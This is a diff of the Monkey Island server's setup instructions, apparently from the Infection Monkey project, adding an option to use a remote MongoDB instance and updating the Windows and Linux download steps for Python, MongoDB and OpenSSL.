2.1. Download and install from: https://www.python.org/download/releases/2.7/ 2.1. Download and install from: https://www.python.org/download/releases/2.7/
@ -8,11 +12,22 @@ How to set up the Monkey Island server:
2.3. Copy contents from installation path (Usually C:\Python27) to monkey_island\bin\Python27 2.3. Copy contents from installation path (Usually C:\Python27) to monkey_island\bin\Python27
2.4. Copy Python27.dll from System32 folder (Usually C:\Windows\System32 or C:\Python27) to monkey_island\bin\Python27 2.4. Copy Python27.dll from System32 folder (Usually C:\Windows\System32 or C:\Python27) to monkey_island\bin\Python27
2.5. (Optional) You may uninstall Python27 if you like. 2.5. (Optional) You may uninstall Python27 if you like.
3. Place portable version of mongodb 3. Setup mongodb (Use one of the following two options):
3.1. Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip 3.1 Place portable version of mongodb
3.2. Extract contents from bin folder to monkey_island\bin\mongodb. 3.1.1 Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip
3.2.1 Extract contents from bin folder to monkey_island\bin\mongodb.
3.3.1 Create monkey_island\db folder.
OR
3.1 If you have an instance of mongodb running on a different host, set the MONKEY_MONGO_URL environment variable:
example for mongodb running on host with IP address 192.168.10.10:
set MONKEY_MONGO_URL="mongodb://192.168.10.10:27107/monkeyisland"
4. Place portable version of OpenSSL 4. Place portable version of OpenSSL
4.1. Download from: https://indy.fulgan.com/SSL/openssl-1.0.2l-i386-win32.zip 4.1. Download from: https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip
4.2. Extract content from bin folder to monkey_island\bin\openssl 4.2. Extract content from bin folder to monkey_island\bin\openssl
5. Download and install Microsoft Visual C++ redistributable for Visual Studio 2017 5. Download and install Microsoft Visual C++ redistributable for Visual Studio 2017
5.1. Download and install from: https://go.microsoft.com/fwlink/?LinkId=746572 5.1. Download and install from: https://go.microsoft.com/fwlink/?LinkId=746572
@ -51,7 +66,9 @@ How to run:
monkey-windows-32.exe - monkey binary for windows 32bit monkey-windows-32.exe - monkey binary for windows 32bit
monkey-windows-64.exe - monkey binary for windows 64bi monkey-windows-64.exe - monkey binary for windows 64bi
4. Download MongoDB and extract it to /var/monkey_island/bin/mongodb 4. Setup MongoDB (Use one of the two following options):
4.1 Download MongoDB and extract it to /var/monkey_island/bin/mongodb
for debian64 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz for debian64 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-debian81-latest.tgz
for ubuntu64 16.10 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz for ubuntu64 16.10 - https://downloads.mongodb.org/linux/mongodb-linux-x86_64-ubuntu1604-latest.tgz
find more at - https://www.mongodb.org/downloads#production find more at - https://www.mongodb.org/downloads#production
@ -59,6 +76,15 @@ How to run:
(make sure the content of the mongo folder is in this directory, meaning this path exists: (make sure the content of the mongo folder is in this directory, meaning this path exists:
/var/monkey_island/bin/mongodb/bin) /var/monkey_island/bin/mongodb/bin)
OR
4.1 If you have an instance of mongodb running on a different host, set the MONKEY_MONGO_URL environment variable:
example for mongodb running on host with IP address 192.168.10.10:
set MONKEY_MONGO_URL="mongodb://192.168.10.10:27107/monkeyisland"
5. install OpenSSL 5. install OpenSSL
sudo apt-get install openssl sudo apt-get install openssl